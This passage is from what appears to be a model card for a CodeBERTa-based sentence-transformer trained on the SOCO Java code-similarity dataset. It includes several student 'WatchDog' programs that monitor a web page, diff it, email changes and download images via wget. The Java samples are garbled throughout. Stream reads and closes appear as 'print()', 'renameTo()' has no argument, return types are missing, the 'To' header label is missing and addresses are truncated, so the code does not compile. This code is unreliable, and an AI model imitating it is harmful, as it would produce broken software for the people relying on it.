| \ {\n intNumRead = urlStream.print();\n \ | |
| \ if (intNumRead != -1)\n {\n strNewContent =\ | |
| \ (char)intNumRead + \"\"; \n strWebPageText += strNewContent;\n\ | |
| \ }\n }\n\n urlStream.print(); \n\n\n\n \ | |
| \ \n \n if (strWebPageText != null)\n \ | |
| \ {\n\n if (fileExists(strWebPageOutputFile01))\n \ | |
| \ {\n writeTextToFile(strWebPageText, strWebPageOutputFile02);\ | |
| \ \n }\n\n else\n {\n\ | |
| \ writeTextToFile(strWebPageText, strWebPageOutputFile01); \ | |
| \ \n }\n\n\n if (fileExists(strWebPageOutputFile02))\n\ | |
| \ { \n System.out.println(\"Output file\");\n \ | |
| \ System.out.println(\"-----------\");\n System.out.println(\"\ | |
| The output file '\" + \n strWebPageOutputFile02\ | |
| \ + \n \"' has NOW BEEN created.\"); \ | |
| \ \n System.out.println();\n\ | |
| \ System.out.println(\"Comparison\");\n System.out.println(\"\ | |
| ----------\");\n System.out.println(\"A text comparison NOW\ | |
| \ performed \" +\n \"with the output\");\n\ | |
| \ System.out.println(\"file '\" + strWebPageOutputFile01 + \"\ | |
| '.\");\n System.out.println();\n\n\n\n \n\ | |
| \ \n\n \n \n \ | |
| \ createDiffFileIfNeeded(strWebPageOutputFile01, \n \ | |
| \ strWebPageOutputFile02); \n\n\n \ | |
| \ \n \n if (fileExists(strWatchDogDiffFile_01_02))\n\ | |
| \ { \n\n System.out.println(\"Mail (ordinary\ | |
| \ text comparison)\");\n System.out.println(\"--------------------------------\"\ | |
| );\n\n if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n \ | |
| \ {\n sendMailWithDetectedChanges();\n\ | |
| \ System.out.println(\"Text diff mail has been sent the\ | |
| \ '' email address.\");\n }\n else\n \ | |
| \ {\n System.out.println(\"The DIFF\ | |
| \ file has zero length - text diff mail has NOT been sent.\");\n \ | |
| \ }\n\n }\n\n\n\n \n \ | |
| \ \n createImageTextFile(strWebPageOutputFile01, strPrePend);\n\ | |
| \ createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n\ | |
| \ System.out.println();\n System.out.println(\"\ | |
| Image text file/s\");\n System.out.println(\"-----------------\"\ | |
| );\n\n\n if (fileExists(strImageOutputFile01))\n \ | |
| \ {\n System.out.println(\"'\" + strImageOutputFile01\ | |
| \ + \"' has been created.\");\n System.out.println(\"Images\ | |
| \ from '\" + strImageOutputFile01 + \"' now downloaded using\"); \n \ | |
| \ System.out.println(\"the Unix 'wget' command:\"); \n\n \ | |
| \ downloadImages(strImageOutputFile01);\n }\n\n\ | |
| \ if (fileExists(strImageOutputFile02))\n {\n\ | |
| \ System.out.println();\n System.out.println(\"\ | |
| '\" + strImageOutputFile02 + \"' has been created.\");\n }\n\n\ | |
| \ System.out.println();\n\n }\n\n \ | |
| \ else if (fileExists(strWebPageOutputFile01))\n {\n \ | |
| \ System.out.println(\"Output file\");\n System.out.println(\"\ | |
| -----------\");\n System.out.println(\"The output file '\" \ | |
| \ + \n strWebPageOutputFile01 + \n \ | |
| \ \"' has NOW BEEN created.\"); \ | |
| \ \n System.out.println();\n \ | |
| \ System.out.println(\"Comparison\");\n System.out.println(\"\ | |
| ----------\");\n System.out.println(\"A comparison CANNOT performed\ | |
| \ \" +\n \"with this output file\");\n \ | |
| \ System.out.println(\"because it is the only output file \" +\n\ | |
| \ \"in existence.\");\n System.out.println();\n\ | |
| \ }\n\n }\n\n }\n\n catch(Exception e)\n\ | |
| \ {\n\n boolURLisOK = false;\n\n System.err.println(e);\n\ | |
| \ } \n\n finally\n { \n urlConnection = null;\n\ | |
| \ url = null; \n }\n\n }\n\n\n System.out.println();\n\ | |
| \n }\n\n\n\n\n\n\n\n static void tidyUpWatchDogFiles()\n \n {\n\n \ | |
| \ \n \n\n\n \n \n deleteFile(strWatchDogDiffFile_01_02);\n\ | |
| \n\n \n \n deleteFile(strImageOutputFile01);\n deleteFile(strImageOutputFile02);\n\ | |
| \n\n if (fileExists(strWebPageOutputFile01))\n {\n\n if (fileExists(strWebPageOutputFile02))\n\ | |
| \ {\n \n \n \n \ | |
| \ \n \n deleteFile(strWebPageOutputFile01);\n \ | |
| \ renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n }\n\ | |
| \n }\n\n else\n {\n \n \n \n \ | |
| \ deleteFile(strWebPageOutputFile02);\n }\n\n }\n\n\n\n\n\n\n\n\ | |
| \ static void promptForEmailAddresses()\n \n { \n\n\n BufferedReader\ | |
| \ stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n \ | |
| \ \n \n System.out.println();\n System.out.println(\"'From'\ | |
| \ email address\");\n System.out.println(\"--------------------\");\n \ | |
| \ System.out.println(\"Please enter a 'From' email address, press Enter for\ | |
| \ default\");\n System.out.print(\"(default: \" + strFromEmailDefault + \"\ | |
| ): \");\n\n try\n {\n strFromEmail = stdin.readLine();\n \ | |
| \ }\n catch (Exception e)\n {\n System.err.println(e);\n\ | |
| \ }\n \n\n System.out.println();\n\n if ( (strFromEmail == null)\ | |
| \ || (strFromEmail.length() == 0) )\n {\n System.out.println(\" email\ | |
| \ address was entered.\"); \n System.out.println(\"The 'From'\ | |
| \ email address default : \" + strFromEmailDefault); \n strFromEmail\ | |
| \ = strFromEmailDefault;\n }\n\n else\n {\n System.out.println(\"\ | |
| The entered 'From' email address is: \" + strFromEmail); \n }\n\n\ | |
| \n\n \n \n System.out.println();\n System.out.println(\"\ | |
| '' email address\");\n System.out.println(\"------------------\");\n \ | |
| \ System.out.println(\"Please enter a '' email address, press Enter for default\"\ | |
| );\n System.out.print(\"(default: \" + strToEmailDefault + \"): \");\n\n\ | |
| \ try\n {\n strToEmail = stdin.readLine();\n }\n catch\ | |
| \ (Exception e)\n {\n System.err.println(e);\n }\n \n\n \ | |
| \ System.out.println();\n\n if ( (strToEmail == null) || (strToEmail.length()\ | |
| \ == 0) )\n {\n System.out.println(\" email address was entered.\"\ | |
| ); \n System.out.println(\"The '' email address default : \"\ | |
| \ + strToEmailDefault); \n strToEmail = strToEmailDefault;\n \ | |
| \ }\n\n else\n {\n System.out.println(\"The entered '' email\ | |
| \ address is: \" + strToEmail); \n }\n\n }\n\n\n\n\n\n\n\n static\ | |
| \ void writeTextToFile(String strText,\n String\ | |
| \ strWriteToThisFileName)\n \n {\n\n try\n {\n\n File newFile\ | |
| \ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \ | |
| \ {\n newFile.delete();\n }\n\n\n BufferedWriter\ | |
| \ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \ | |
| \ false));\n\n toFile.write(strText);\n\ | |
| \n toFile.print();\n toFile = null;\n newFile = null;\n\ | |
| \n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\ | |
| \ System.out.println(\"File write problem for '\" + \n \ | |
| \ strWriteToThisFileName +\n \"'.\"\ | |
| ); \n }\n\n }\n\n\n\n\n\n\n\n static void createDiffFileIfNeeded(String\ | |
| \ strFileName1, \n String strFileName2)\n\ | |
| \ \n {\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n \n \ | |
| \ \n try\n {\n\n Process p = Runtime.getRuntime().exec(\"\ | |
| ./diff_files.sh\");\n p.waitFor();\t\n\n }\n\n catch (Exception\ | |
| \ e)\n {\n System.out.println(\"Shell script exception\");\n \ | |
| \ System.out.println(\"----------------------\");\n System.err.println(e);\n\ | |
| \ System.out.println(\"\");\n }\n\n }\n\n\n\n\n\n\n\n static\ | |
| \ void createImageTextFile(String inputFile, String prePend)\n \n {\n\n \ | |
| \ \n \n \n \n \n \n \n \ | |
| \ \n \n \n \n \n \n \n\ | |
| \ \n \n \n \n \n\n String str;\n\ | |
| \ String strImage = \"\";\n String strImageArray[];\n String strInputFromFile\ | |
| \ = \"\";\n String strSearchString = \"<img src\";\n\n boolean boolContinue\ | |
| \ = true;\n\n int intImageCounter = 0;\n int intStartSearch = 0;\n\ | |
| \n char ch;\n\n\n\n\n\n strImageArray = new String[1000];\n\n\n\n \ | |
| \ \n \n try\n {\n\n BufferedReader file =\n \ | |
| \ new BufferedReader(new FileReader(inputFile));\n\n\n while\ | |
| \ ( (str = file.readLine()) != null)\n {\n strInputFromFile\ | |
| \ += str;\n }\n\n file.print();\n file = null;\n\n \ | |
| \ }\n\n catch (Exception e)\n {\n boolContinue = false;\n\ | |
| \ System.err.println(e); \n }\t\n\n\n\n if (boolContinue)\n\ | |
| \ {\n\n strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\ | |
| \n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\ | |
| \n\n while (intStartSearch != -1)\n {\n\n intStartSearch\ | |
| \ += 8;\n\n while ( (strInputFromFile.charAt(intStartSearch) == ' ')\ | |
| \ ||\n (strInputFromFile.charAt(intStartSearch) == '=') ||\n\ | |
| \ (strInputFromFile.charAt(intStartSearch) == '\\\"') )\n\ | |
| \ {\n intStartSearch++; \n }\n\n\ | |
| \ while ((strInputFromFile.charAt(intStartSearch) != '\\\"')) \ | |
| \ \n {\n\n ch = strInputFromFile.charAt(intStartSearch);\n\ | |
| \n strImage += String.valueOf(ch);\n intStartSearch++;\n\ | |
| \n }\n\n\n if (strImage.startsWith(\"/\"))\n \ | |
| \ strImage = prePend + strImage; \n\n\n intImageCounter++;\n\ | |
| \ strImageArray[intImageCounter - 1] = strImage;\n\n strImage\ | |
| \ = \"\";\n\n intStartSearch = strInputFromFile.indexOf(strSearchString,\ | |
| \ intStartSearch);\n\n }\n\n\n if (inputFile.equals(strWebPageOutputFile01))\ | |
| \ \n { \n writeTextArrayToFile(strImageArray, \n \ | |
| \ strImageOutputFile01,\n \ | |
| \ intImageCounter);\n }\n else if (inputFile.equals(strWebPageOutputFile02))\ | |
| \ \n { \n writeTextArrayToFile(strImageArray, \n \ | |
| \ strImageOutputFile02,\n \ | |
| \ intImageCounter);\n }\n\n\n }\n\n }\n\n\n\n\n\n\n\n static\ | |
| \ void downloadImages(String ImageOutputFile)\n \n {\n\n Process p;\n\ | |
| \n String str;\n String strFileName;\n\n\n\n try \n {\n\ | |
| \n BufferedReader file =\n new BufferedReader(new FileReader(ImageOutputFile));\n\ | |
| \n\n\n while ( (str = file.readLine()) != null)\n {\n\n \ | |
| \ strFileName = getImageFileName(str);\n\n System.out.println(\"\ | |
| \ \" + str);\n System.out.println(\" file name: \"\ | |
| \ + strFileName); \n\ | |
| \n\n if (fileExists(strFileName))\n deleteFile(strFileName);\n\ | |
| \n\n p = Runtime.getRuntime().exec(\"wget \" + str);\n p.waitFor();\t\ | |
| \n\n }\n\n\n file = null;\n\n }\n\n catch (Exception\ | |
| \ e)\n {\n System.err.println(\"downloadingImages: \" + e);\n \ | |
| \ }\n\n }\n\n\n\n\n\n\n\n static String getImageFileName(String imageFileName)\n\ | |
| \ \n {\n\n \n \n \n\n String strFileName;\n\n\ | |
| \ int intFileNameLength = imageFileName.length(); \n int intStartPosOfFileName\ | |
| \ = intFileNameLength - 1;\n\n\n\n\n \n \n while ( (intStartPosOfFileName\ | |
| \ >= 0) && \n (imageFileName.charAt(intStartPosOfFileName) != '/')\ | |
| \ )\n {\n intStartPosOfFileName--; \n }\n\n\n strFileName\ | |
| \ = imageFileName.substring(intStartPosOfFileName + 1, \n \ | |
| \ intFileNameLength);\n\n\n return strFileName;\n\n\ | |
| \ }\n\n\n\n\n\n\n\n static void writeTextArrayToFile(String strTextArray[],\n\ | |
| \ String strWriteToThisFileName,\n \ | |
| \ int numberOfImages )\n \n {\n\n boolean\ | |
| \ boolFirstLineWritten = false;\n\n\n\n try\n {\n\n File newFile\ | |
| \ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \ | |
| \ {\n newFile.delete();\n }\n\n\n BufferedWriter\ | |
| \ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \ | |
| \ false));\n\n for ( int i = 0\ | |
| \ ; i < numberOfImages ; i++ )\n {\n\n if (boolFirstLineWritten)\ | |
| \ \n toFile.newLine();\n else\n boolFirstLineWritten\ | |
| \ = true;\n \n\n toFile.write(strTextArray[i]);\n\n }\n\n\n\ | |
| \ toFile.print();\n toFile = null;\n newFile = null;\n\ | |
| \n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\ | |
| \ System.out.println(\"File write problem for '\" + \n \ | |
| \ strWriteToThisFileName +\n \"'.\"\ | |
| ); \n }\n\n }\n\n\n\n\n\n\n\n static boolean fileExists(String\ | |
| \ strFileName)\n \n {\n\n boolean boolReturnValue;\n File aFile\ | |
| \ = new File(strFileName);\n\n\n if (aFile.exists())\n boolReturnValue\ | |
| \ = true;\n else\n boolReturnValue = false;\n \n\n aFile\ | |
| \ = null;\n\n\n return boolReturnValue;\n\n }\n\n\n\n\n\n\n\n static\ | |
| \ void deleteFile(String strFileName)\n \n {\n\n\n if (fileExists(strFileName))\n\ | |
| \ { \n File aFile = new File(strFileName);\n\n try\n \ | |
| \ {\n aFile.delete();\n }\n\n catch (Exception\ | |
| \ e)\n {\n System.err.println(e);\n }\n\n\n \ | |
| \ aFile = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static void renameFile(String\ | |
| \ strFromFileName, String strToFileName)\n \n {\n\n\n File from = new\ | |
| \ File(strFromFileName);\n File to = new File(strToFileName);\n\n\n \ | |
| \ boolean success = from.renameTo();\n\n\n from = null;\n to = null;\n\ | |
| \n }\n\n\n\n\n\n\n\n static getFileSize(String strFileName)\n \n {\n\n\ | |
| \ lngReturnValue;\n\n\n\n File file = new File(strFileName);\n \ | |
| \ \n lngReturnValue = file.length();\n\n file = null;\n\n\n return\ | |
| \ lngReturnValue;\n\n }\n\n\n\n\n\n\n\n static void sendMailWithDetectedChanges()\n\ | |
| \ \n {\n\n String str;\n String strInputFromFile = null;\n\n\n\n\ | |
| \ try \n { \n\n\n BufferedReader fromFile =\n new\ | |
| \ BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n while\ | |
| \ ( (str = fromFile.readLine()) != null)\n {\n strInputFromFile\ | |
| \ += str;\n }\n\n fromFile.print();\n fromFile = null;\n\ | |
| \n\n \n \n \n SmtpClient smtp = new SmtpClient();\ | |
| \ \n\n \n \n smtp.from(strFromEmail); \n\n \ | |
| \ \n \n smtp.to(strToEmail); \n\n \n \ | |
| \ \n PrintStream msg = smtp.startMessage(); \n\n \n \ | |
| \ \n msg.println(\": \" + strToEmail); \n\n \n \ | |
| \ \n msg.println(\"From: \" + strFromEmail); \n msg.println(\"\ | |
| Subject: Change in website content\\n\"); \n msg.println(strInputFromFile);\ | |
| \ \n\n \n \n \n smtp.closeServer(); \n\ | |
| \n } \n\n catch (IOException e) \n {\n System.err.println(e);\ | |
| \ \n } \n\n }\n\n}" | |
| datasets: | |
| - buelfhood/SOCO_TRAIN_java | |
| pipeline_tag: sentence-similarity | |
| library_name: sentence-transformers | |
| # SentenceTransformer based on huggingface/CodeBERTa-small-v1 | |
| This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. | |
| ## Model Details | |
| ### Model Description | |
| - **Model Type:** Sentence Transformer | |
| - **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 --> | |
| - **Maximum Sequence Length:** 512 tokens | |
| - **Output Dimensionality:** 768 dimensions | |
| - **Similarity Function:** Cosine Similarity | |
| - **Training Dataset:** | |
| - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) | |
| <!-- - **Language:** Unknown --> | |
| <!-- - **License:** Unknown --> | |
| ### Model Sources | |
| - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) | |
| - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) | |
| - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) | |
| ### Full Model Architecture | |
| ``` | |
| SentenceTransformer( | |
| (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel | |
| (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) | |
| ) | |
| ``` | |
| ## Usage | |
| ### Direct Usage (Sentence Transformers) | |
| First install the Sentence Transformers library: | |
| ```bash | |
| pip install -U sentence-transformers | |
| ``` | |
| Then you can load this model and run inference. | |
| ```python | |
| from sentence_transformers import SentenceTransformer | |
| # Download from the 🤗 Hub | |
| model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST") | |
| # Run inference | |
| sentences = [ | |
| 'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \n\n \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n while(true)\n {\n \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n compare();\n try\n {\n sleep(twentyFourHours);\n }\n catch(InterruptedException e)\n {\n writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n System.exit(0);\n }\n }\n } \n\n\t\n private void compare()\n {\n \n \n \n String watchDogFile = "watchDogHash_rcroft.";\n String watchDogPageFile = "watchDogPage_rcroft.html";\n \n File watchDogLogFile = new File(watchDogFile);\n \n if(!watchDogLogFile.exists())\n {\n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n byte[] newHash = calcHash(targetPage.getPageContents());\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n else\n {\n try\n {\n \n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n \n byte[] oldHash = new byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\n \n DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n inWatchDogFile.print();\n \n \n \n \n if(!java.util.Arrays.equals(oldHash, newHash))\n {\n String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n mail(differences);\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t String differences = "";\n\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t newFile = File.createTempFile("new", "tmp");\n String tempFilePath = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n outFile.print();\n \n \n String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n Process p = Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String line;\n while((line = diffs.readLine()) != null)\n differences += line + "\\n";\n diffs.print();\n newFile.delete();\n\t }\n\t catch(IOException e)\n\t {\n\t writeProgramLog("Exception: " + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void mail(String mailMessage)\n {\n \n Vector emailAddresses = new Vector();\n String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n {\n try\n {\n \n BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n String line;\n while ((line = inWatchDogEmailFile.readLine()) != null)\n {\n line = line.trim();\n if((line != "") && (line != "\\n"))\n emailAddresses.add(line);\n }\n inWatchDogEmailFile.print();\n \t }\n \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog("Exception: " + e);\n \t }\n \t catch(IOException e)\n \t {\n \t writeProgramLog("Exception: " + e);\n \t }\n }\n else\n {\n emailAddresses.add("@yallara.cs.rmit.edu.");\n emailAddresses.add("rac@acslink.aone.net.");\n }\n \n if(emailAddresses.size() > 0) \n {\n try\n {\n String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n for(int i = 0; i < emailAddresses.size(); i++)\n {\n String toAddress = (String) emailAddresses.get(i);\n try\n {\n URL mailURL = new URL("mailto: " + toAddress);\n URLConnection mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n mailConnection.setDoOutput(true);\n mailConnection.connect();\n PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n mailWriter.print(": " + toAddress + "\\n");\n mailWriter.print(fromAddress + "\\n");\n mailWriter.print(subject + "\\n");\n mailWriter.print(mailMessage);\n mailWriter.print();\n writeProgramLog("\\tNotification mailed in this run.");\n }\n catch(MalformedURLException e)\n {\n writeProgramLog("Exception: " + e);\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n }\n }\n catch(UnknownHostException e)\n {\n writeProgramLog("Exception: " + e);\n } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.write(newHash, 0, newHash.length);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n } \n \n\t\n private void writePage(String newPage, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.writeBytes(newPage);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String comment)\n {\n String fileName = "watchDogLog_rcroft.txt";\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n outFile.writeBytes(comment + "\\n");\n outFile.flush();\n outFile.print();\n }\n catch(IOException e)\n {\n \n \n System.out.println("Exception: " + e);\n }\n } \n\n\t\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n try\n {\n \n \n \n String urlName = "http://www.cs.rmit.edu./students/";\n \t \tURL targetURL= new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n \n \n connection.connect();\n connection.getResponseCode();\n if(connection.getResponseCode() == 200)\n\t\t {\n\t\t String fileContents = "";\n\t\t BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n String line;\n \t\t while((line = in.readLine()) != null)\n\t\t \t fileContents = fileContents + line + "\\n";\n\t\t in.print();\n\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n \t\t writeProgramLog("Failed connect " + connection.getResponseCode());\n\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog("Exception " + e);\n } \n return tempWebPage;\n } \n \n\t\n private byte[] calcHash(String pageContents)\n {\n byte[] outHash = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance("");\n msg.reset();\n msg.update(pageContents.getBytes());\n outHash = msg.digest();\n msg.reset();\n }\n catch(NoSuchAlgorithmException e)\n {\n writeProgramLog("Exception: " + e);\n }\n return outHash;\n } \n \n} \n', | |
| '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n static String strImageOutputFile01 = "WebPageImages01.txt";\n static String strImageOutputFile02 = "WebPageImages02.txt";\n\n static String strWebPageOutputFile01 = "WebPageOutput01.txt";\n static String strWebPageOutputFile02 = "WebPageOutput02.txt";\n\n static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n static String strFromEmailDefault = "@.rmit.edu.";\n static String strToEmailDefault = "@.rmit.edu.";\n\n static String strFromEmail = null;\n static String strToEmail = null;\n\n\n\n\n public static void main (String args[])\n \n {\n\n \n \n \n \n \n\n URL url = null;\n HttpURLConnection urlConnection;\n int intContentLength;\n String strWebPageText = "";\n\n String strURL = "http://www.cs.rmit.edu./students/";\n String strPrePend = "http://www.cs.rmit.edu.";\n\n boolean boolURLisOK = true;\n\n\n\n\n\n System.out.println();\n\n\n \n \n tidyUpWatchDogFiles();\n\n\n \n \n \n \n promptForEmailAddresses();\n\n\n\n\n try\n {\n \n \n url = new URL(strURL); \n }\n\n catch(MalformedURLException e)\n {\n System.out.println("ERROR: invalid URL " + strURL); \n System.err.println(e); \n \n boolURLisOK = false;\n url = null;\n } \n\n catch(Exception e)\n {\n System.out.println("Exception"); \n System.err.println(e); \n }\n\n\n System.err.println(); \n\n\n if (boolURLisOK)\n {\n try\n { \n\n \n \n urlConnection = (HttpURLConnection)url.openConnection();\n\n\n \n \n InputStream urlStream = urlConnection.getInputStream();\n\n\n \n \n int intNumRead = urlStream.print();\n String strNewContent; \n\n while (intNumRead != -1)\n {\n intNumRead = urlStream.print();\n if (intNumRead != -1)\n {\n strNewContent = (char)intNumRead + ""; \n strWebPageText += strNewContent;\n }\n }\n\n urlStream.print(); \n\n\n\n \n \n if (strWebPageText != null)\n {\n\n if (fileExists(strWebPageOutputFile01))\n {\n writeTextToFile(strWebPageText, strWebPageOutputFile02); \n }\n\n else\n {\n writeTextToFile(strWebPageText, strWebPageOutputFile01); \n }\n\n\n if (fileExists(strWebPageOutputFile02))\n { \n System.out.println("Output file");\n System.out.println("-----------");\n System.out.println("The output file \'" + \n strWebPageOutputFile02 + \n "\' has NOW BEEN created."); \n System.out.println();\n System.out.println("Comparison");\n System.out.println("----------");\n System.out.println("A text comparison NOW performed " +\n "with the output");\n System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n System.out.println();\n\n\n\n \n \n\n \n \n createDiffFileIfNeeded(strWebPageOutputFile01, \n strWebPageOutputFile02); \n\n\n \n \n if (fileExists(strWatchDogDiffFile_01_02))\n { \n\n System.out.println("Mail (ordinary text comparison)");\n System.out.println("--------------------------------");\n\n if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n {\n sendMailWithDetectedChanges();\n System.out.println("Text diff mail has been sent the \'\' email address.");\n }\n else\n {\n System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n }\n\n }\n\n\n\n \n \n createImageTextFile(strWebPageOutputFile01, strPrePend);\n createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n System.out.println();\n System.out.println("Image text file/s");\n System.out.println("-----------------");\n\n\n if (fileExists(strImageOutputFile01))\n {\n System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n System.out.println("Images from \'" + strImageOutputFile01 + "\' now downloaded using"); \n System.out.println("the Unix \'wget\' command:"); \n\n downloadImages(strImageOutputFile01);\n }\n\n if (fileExists(strImageOutputFile02))\n {\n System.out.println();\n System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n }\n\n System.out.println();\n\n }\n\n else if (fileExists(strWebPageOutputFile01))\n {\n System.out.println("Output file");\n System.out.println("-----------");\n System.out.println("The output file \'" + \n strWebPageOutputFile01 + \n "\' has NOW BEEN created."); \n System.out.println();\n System.out.println("Comparison");\n System.out.println("----------");\n System.out.println("A comparison CANNOT performed " +\n "with this output file");\n System.out.println("because it is the only output file " +\n "in existence.");\n System.out.println();\n }\n\n }\n\n }\n\n catch(Exception e)\n {\n\n boolURLisOK = false;\n\n System.err.println(e);\n } \n\n finally\n { \n urlConnection = null;\n url = null; \n }\n\n }\n\n\n System.out.println();\n\n }\n\n\n\n\n\n\n\n static void tidyUpWatchDogFiles()\n \n {\n\n \n \n\n\n \n \n deleteFile(strWatchDogDiffFile_01_02);\n\n\n \n \n deleteFile(strImageOutputFile01);\n deleteFile(strImageOutputFile02);\n\n\n if (fileExists(strWebPageOutputFile01))\n {\n\n if (fileExists(strWebPageOutputFile02))\n {\n \n \n \n \n \n deleteFile(strWebPageOutputFile01);\n renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n }\n\n }\n\n else\n {\n \n \n \n deleteFile(strWebPageOutputFile02);\n }\n\n }\n\n\n\n\n\n\n\n static void promptForEmailAddresses()\n \n { \n\n\n BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n \n \n System.out.println();\n System.out.println("\'From\' email address");\n System.out.println("--------------------");\n System.out.println("Please enter a \'From\' email address, press Enter for default");\n System.out.print("(default: " + strFromEmailDefault + "): ");\n\n try\n {\n strFromEmail = stdin.readLine();\n }\n catch (Exception e)\n {\n System.err.println(e);\n }\n \n\n System.out.println();\n\n if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n {\n System.out.println(" email address was entered."); \n System.out.println("The \'From\' email address default : " + strFromEmailDefault); \n strFromEmail = strFromEmailDefault;\n }\n\n else\n {\n System.out.println("The entered \'From\' email address is: " + strFromEmail); \n }\n\n\n\n \n \n System.out.println();\n System.out.println("\'\' email address");\n System.out.println("------------------");\n 